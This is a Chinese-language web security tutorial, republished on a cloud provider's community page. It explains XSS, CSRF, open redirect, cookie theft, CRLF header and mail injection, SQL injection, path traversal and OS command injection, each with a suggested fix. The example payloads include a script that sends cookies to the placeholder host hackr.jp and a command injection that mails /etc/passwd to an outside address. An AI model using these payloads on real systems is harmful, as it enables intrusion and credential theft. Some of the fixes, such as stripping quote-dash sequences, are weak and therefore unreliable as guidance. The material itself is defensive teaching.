web網路攻擊解決方案

來源:互聯網
上載者:User

標籤:截斷   adr   三方   from   inf   www   擷取   img   int   

產生原因
  • HTTP 不具備安全功能。
  • 在用戶端可以篡改請求。
跨站指令碼攻擊 XSS

攻擊方式:

  • 通過提交的資訊中帶入 js 指令碼或 html 標籤。
  • 提前閉合標籤,有些甚至不用特殊處理。
  • 執行操作或者引入三方 js 。
正常請求:http: //example.jp/login?ID="haha"正常顯示:<input type="text" name="ID" value="yama" />攻擊請求:http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>"攻擊顯示:<input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>

解決方案:

  • 對提交內容進行編譯,“<” 轉 “&lt;”, ">" 轉 “&gt;”。防止文本解析成標籤。
跨網站偽造請求攻擊 CSRF

攻擊方式:

  • 通過第三方網站,訪問本網站的介面,導致攜帶本網站的 cookie 。
  • 隱匿的使使用者進行操作。

解決方案:

  • 方法一:驗證 HTTP Referer 控制請求必須本網站發出。
  • 方法二:在請求地址中添加 token 並驗證。
  • 方法三:在 HTTP 頭中自訂屬性並驗證,第三方網站的請求禁止攜帶自訂頭。
URL 跳轉漏洞攻擊

攻擊方式:

  • 一般登入頁面會在登入後,通過 URL 的參數進行回跳。
  • 第三方網站,通過提供正規的登入地址和錯誤的回跳地址。
  • 誘導使用者以為安全登入。

解決方案:

  • 對回跳的地址進行嚴格校正。
  • 不能只簡單校正網域名稱是否在地址中存在。
對使用者 Cookie 的竊取攻擊

攻擊方式:

  • 引入三方惡意指令碼,傳輸 cookie 到三方伺服器。
如下:var content = escape(document.cookie);document.write("&lt;img src=http: //hackr.jp/?");document.write(content);document.write(">");

解決方案:

  • 保證引入指令碼的安全,可以通過 CSP 對引入資源進行限制。
HTTP 首部注入攻擊

攻擊方式:

  • 通過 %0D%0A 截斷代碼,注入 http 頭代碼。
Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789%0D%0A 代表 HTTP 報文中的分行符號,緊接著的是可強制將攻擊者網站(http: //hackr.jp/)的會話 ID 設定成 SID=123456789 的 Set-Cookie 首部欄位。首部欄位 Set-Cookie 已生效,因此攻擊者可指定修改任意的 Cookie 資訊。通過和會話固定攻擊(攻擊者可使用指定的會話 ID)攻擊組合,攻擊者可偽裝成使用者。

解決方案:

  • 對 %0D%0A 進行識別,並且剔除。
HTTP 響應截斷攻擊

攻擊方式:

  • 通過 %0D%0A%0D%0A 截斷代碼,造成多餘的空行,注入響應體代碼。
Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);HTTP 響應截斷攻擊是用在 HTTP 首部注入的一種攻擊。要將兩個 %0D%0A%0D%0A 並排插入字串後發送。利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達到攻擊目的。

解決方案:

  • 對 %0D%0A 進行識別,並且剔除。
SQL 插入式攻擊

攻擊方式:

  • 通過單引號字元加“--”,截斷 sql 語句。
正常請求:http: //example.jp/search?q=haha正常執行:SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1;攻擊請求:http: //example.jp/search?q=haha‘ --攻擊顯示:SELECT * FROM bookTbl WHERE author = 'haha' --’ and flag = 1;flag = 1 的條件被忽略

解決方案:

  • 對 “‘ --” 進行識別,並且剔除。
伺服器檔案攻擊

攻擊方式:

  • 通過讀取伺服器檔案,擷取伺服器重要檔案。
通過請求返回記錄檔http: //example.com/read.php?log=../../etc/passwd查詢欄位為了讀取攻擊者盯上的 /etc/passwd 檔案,會從 /www/log/ 目錄開始定位相對路徑。如果這份 read.php 指令碼接受對指定目錄的訪問請求處理,那原本不公開的檔案就存在可被訪問的風險。

解決方案:

  • 對最終的訪問路徑進行校正,只能訪問最小目錄。
郵件首部注入攻擊

攻擊方式:

  • 通過 %0D%0A 截斷代碼,追加郵件地址。
  • 通過 %0D%0A%0D%0A 截斷代碼,造成多餘的空行,篡改郵件主體。
[email protected]%0D%0ABcc: [email protected]%0D%0A 在郵件報文中代表分行符號。一旦諮詢表單所在的 Web 應用程式接收了這個分行符號,就可能實現對 Bcc 郵件地址的追加發送,而這原本是無法指定的。bob @ hackr.jp%0D%0A%0D%0ATest Message使用兩個連續的分行符號就有可能篡改郵件常值內容並發送。再以相同的方法,就有可能改寫 To 和 Subject 等任意郵件首部,或向文本添加附件等動作。

解決方案:

  • 對 %0D%0A 進行識別,並且剔除。
OS 命令注入攻擊

攻擊方式:

  • 通過分號,截斷語句,加入攻擊語句。
核心代碼:my $adr = $q->param('mailaddress');open(MAIL, "| /usr/sbin/sendmail $adr");print MAIL "From: info @ example.com\n";當傳入 mailaddress 參數為 “; cat /etc/passwd | mail hack @ example.jp”會執行下面的語句:| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp將含有 Linux 賬戶資訊 /etc/passwd 的檔案,就以郵件形式發送給了 hack @ example.jp。

解決方案:

  • 對分號進行識別,並報錯。

web網路攻擊解決方案

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.